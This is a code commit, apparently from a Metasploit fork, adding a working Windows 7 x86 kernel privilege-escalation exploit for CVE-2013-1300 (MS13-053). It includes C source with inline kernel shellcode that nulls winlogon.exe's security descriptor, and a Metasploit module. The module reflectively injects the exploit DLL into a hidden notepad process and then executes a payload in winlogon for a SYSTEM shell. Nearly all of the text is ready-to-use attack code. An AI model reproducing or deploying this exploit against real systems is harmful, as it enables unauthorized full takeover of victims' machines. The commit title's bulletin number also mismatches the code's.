Adding MS013-058 for Windows7 x86

bug/bundler_fix
kyuzo 2014-03-06 18:39:34 +00:00
parent 3c2eb29762
commit 2a1e96165c
3 changed files with 417 additions and 0 deletions

Binary file not shown.

View File

@ -0,0 +1,288 @@
/* dllmain.cpp.cpp
* Exploit for CVE-2013-1300 aka ms13-053
* Tested on Windows 7 32-bit
*
* used in pwn2own 2013 to break out of chrome's sandbox
*
* found and exploited by nils and jon of @mwrlabs
*/
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "ReflectiveLoader.c"
// Purloined from ntstatus.h
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
#ifndef _NTDEF_
typedef __success(return >= 0) LONG NTSTATUS;
typedef NTSTATUS *PNTSTATUS;
#endif
#define MAX_PAGE 4096
#define TABLE_BASE 0xff910000
// global variables FTW
HWND gHwnd = 0x0;
unsigned int gEPROCESS = 0x0;
unsigned gPid = 0x0;
typedef struct _HANDLEENTRY {
VOID *phead;
VOID *pOwner;
UINT8 bType;
UINT8 bFlags;
UINT16 wUniq;
} HANDLEENTRY, *PHANDLEENTRY;
DWORD gethandleaddress(HANDLE h) {
HMODULE mod = GetModuleHandleA("user32.dll");
DWORD* sharedinfo = (DWORD*)GetProcAddress(mod, "gSharedInfo");
PHANDLEENTRY handles = (PHANDLEENTRY)sharedinfo[1];
DWORD index = (DWORD)h&0x3ff;
HANDLEENTRY entry = handles[index];
return (DWORD)entry.phead;
}
DWORD kernelwndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
WORD um=0;
__asm {
mov ax, cs
mov um, ax
}
if(um == 0x1b) {
} else {
// KERNEL MODE CODE EXECUTION
// shellcode to change ACL of winlogon.exe to 0x0
__asm {
mov eax, hwnd // WND
mov eax, [eax+8] // THREADINFO
mov eax, [eax] // ETHREAD
mov eax, [eax+0x150] // KPROCESS
mov eax, [eax+0xb8] // flink
procloop:
lea edx, [eax-0xb8] // KPROCESS
mov eax, [eax]
add edx, 0x16c // module name
cmp dword ptr [edx], 0x6c6e6977 // "winl" for winlogon.exe
jne procloop
sub edx, 0x170
mov dword ptr [edx], 0x0 // null acl
mov eax, [edx + 0xb8] // write winlogon pid to global var
mov gPid, eax
}
return 0x201000;
}
return DefWindowProcW(hwnd,msg,wparam,lparam);
}
HWND createhelperwnd() {
WNDCLASSA wndclass;
HANDLE hinst = GetModuleHandleA(0);
DWORD rc = 0;
wndclass.style = 0x4000;
wndclass.lpfnWndProc = (WNDPROC)kernelwndproc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = (HINSTANCE)hinst;
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
wndclass.hCursor = 0;
wndclass.hbrBackground = (HBRUSH)6;
wndclass.lpszMenuName = 0;
wndclass.lpszClassName = (LPCSTR) 0x1338;
rc=RegisterClassA(&wndclass);
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1338, "helper", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
return windowhandle;
}
typedef NTSTATUS __stdcall NtAllocateVirtualMemory_T(HANDLE processHandle,
PVOID *baseAddress,
ULONG_PTR zeroBits,
PSIZE_T regionSize,
ULONG allocationType,
ULONG protect);
BOOL AllocFakeEProcess(DWORD address) {
unsigned int addr = 0x200000;
DWORD allocsize = 0x4000;
int x=0;
NtAllocateVirtualMemory_T * pfnNtAllocateVirtualMemory = 0;
pfnNtAllocateVirtualMemory = (NtAllocateVirtualMemory_T *)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory");
unsigned o = (0x20 / 4); // the offset into the page
NTSTATUS res = 0x0;
for(x=0; x<0x60; x++) {
res = pfnNtAllocateVirtualMemory((HANDLE)0xffffffff, (PVOID*)&addr, 0, &allocsize, 0x3000, 0x40);
if(res == 0x0) {
break;
}
addr += 0x10000;
}
if(res!=0) return false;
memset((void*)addr, 0xab, 0x4000);
UINT *eprocess = (UINT*)addr+o;
UINT *before = (UINT*)addr;
// large enough values to hold reference
before[2] = 0x00080000;
before[3] = 0x400000;
UINT *second = (UINT*)addr + (0x1000/4);
for(x=0; x<100; x++) eprocess[x] = (0xdead<<16) + (0xaa00 | x);
eprocess[0] = 0x03030303; // least significant byte == 0x3
// Pointer to EPROCESS_QUOTA_BLOCK
// Will point into the window object and on decrement flip the flag to enable the kernel mode window procedure
eprocess[0xd4/4] = address;
gEPROCESS = (unsigned int)eprocess;
//for(x=0; x<100; x++) second[x] = (0xbeef<<16) + (0xbb00 | x);
//second[0x20] = 0x2;
//second[0x30] = 0x1;
return true;
}
DWORD wndproc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
if(msg == 0xd) {
// triggering the exploit through WM_GETTEXT
// printf("[-] WM_GETTEXT message\n");
unsigned char payload[] = "ABCDE ";
payload[7] = (gEPROCESS>>16) & 0xff;
memcpy((void *) lparam, (void *)payload, 8);
return 8;
}
return DefWindowProcA(hwnd, msg, wparam, lparam);
}
DWORD windowthreadproc(LPVOID arg) {
WNDCLASSA wndclass;
HANDLE hinst = GetModuleHandleA(0);
DWORD rc = 0;
MSG msg;
wndclass.style = 0x4000;
wndclass.lpfnWndProc = (WNDPROC)wndproc;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = (HINSTANCE)hinst;
wndclass.hIcon = LoadIconA(0, (LPCSTR)0x107);
wndclass.hCursor = 0;
wndclass.hbrBackground = (HBRUSH)6;
wndclass.lpszMenuName = 0;
wndclass.lpszClassName = (LPCSTR) 0x1337;
rc=RegisterClassA(&wndclass);
HWND windowhandle = CreateWindowExA(0, (LPCSTR) 0x1337, "Jon Rocks!", 0, 0, 0, 0, 0, 0, 0, 0, hinst);
gHwnd = windowhandle;
while(1) {
GetMessageA(&msg, 0x0, 0x0, 0x0);
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
return 0;
}
DWORD NtUserMessageCall(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam, DWORD result, DWORD fnid, DWORD ansi) {
__asm {
push ansi
push fnid
push result
push lparam
push wparam
push msg
push hwnd
push 0xdeadbeef
mov eax, 11eah
mov edx, 7ffe0300h
call [edx]
add esp, 20h
}
}
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef long (*_RtlCreateUserThread)(HANDLE,
PSECURITY_DESCRIPTOR,
BOOLEAN,ULONG,
PULONG,PULONG,
PVOID,PVOID,
PHANDLE,PCLIENT_ID);
_RtlCreateUserThread RtlCreateUserThread;
int Schlamperei(LPVOID shellcode)
{
// Create window which will execute the wndproc in kernel mode
HWND wnd = createhelperwnd();
// Retrieve memory address of window using gSharedInfo
DWORD addressofwnd = gethandleaddress(wnd);
HMODULE ntdll=LoadLibraryA("ntdll.dll");
RtlCreateUserThread=(_RtlCreateUserThread)GetProcAddress(ntdll,"RtlCreateUserThread");
// Allocate fake EPROCESS in user mode
// see "Kernel Pool Exploitation on Windows 7" by Tarjei Mandt
if(!AllocFakeEProcess(addressofwnd-0x80+0x15)) {
return 0;
}
// Create window in new thread to trigger inter thread message sending
HANDLE thread = CreateThread(0,0,(LPTHREAD_START_ROUTINE)windowthreadproc,0,0,0);
Sleep(0x1000);
// 0x9 is size of allocation, results in buffer (8 + 4) = 12
// 8 byte block allocations = 16 bytes
// so we will copy in 8*2 bytes = 16 bytes to corrupt the pool pointer
unsigned char *buf = (unsigned char *)malloc(16);
for(int i=0; i<0x40; i++) {
NtUserMessageCall(gHwnd, 0xd, 0x8, (LPARAM)buf, 0x0, 0x2b3, 0x10);
}
SendMessage(wnd, 0x401, addressofwnd, 0x0);
ExitProcess(0);
}
extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
BOOL bReturnValue = TRUE;
switch (dwReason) {
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL) {
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
Schlamperei(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
};

View File

@ -0,0 +1,129 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'ms13_053_schlamperei',
'Description' => %q{
A kernel pool overflow in Win32k which allows local privilege escalation. Used in pwn2own 2013 to break out of chrome's sandbox.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nils&Jon (MWR) - original exploit', # vulnerability discovery and initial exploit
'Donato&BenCampbell (MWR) - ported to metasploit' # porting vuln to metasploit
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 7 SP0/SP1', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-1300' ],
[ 'MSB', 'MS13-053' ],
[ 'URL', 'https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/' ]
],
'DisclosureDate' => 'Dec 01 2013',
'DefaultTarget' => 0
}))
end
def check
os = sysinfo["OS"]
if (os =~ /windows/i) == nil
return Exploit::CheckCode::Unknown
end
file_path = expand_path("%windir%") << "\\system32\\win32k.sys"
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
case build
when 7600
return Exploit::CheckCode::Vulnerable
when 7601
return Exploit::CheckCode::Vulnerable if revision <= 1800
end
return Exploit::CheckCode::Unknown
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
if sysinfo["Architecture"] =~ /wow64/i
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
end
if check != Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system.")
end
print_status("Launching notepad to host the exploit...")
notepad_process = client.sys.process.execute("notepad.exe", nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
print_status("Operation failed. Trying to elevate the current process...")
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, "exploits", "cve-2013-1300", "schlamperei.dll")
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
thread = process.thread.create(exploit_mem + offset)
client.railgun.kernel32.WaitForSingleObject(thread.handle, 5000)
processes = client.sys.process.get_processes
processes.each do |p|
if p['name'] == "winlogon.exe"
winlogon_pid = p['pid']
print_status("Found winlogon.exe with PID #{winlogon_pid}")
if execute_shellcode(payload.encoded, nil, winlogon_pid)
print_good("Everything seems to have worked, cross your fingers and wait for a SYSTEM shell")
else
print_error("Failed to start payload thread")
end
break
end
end
end
end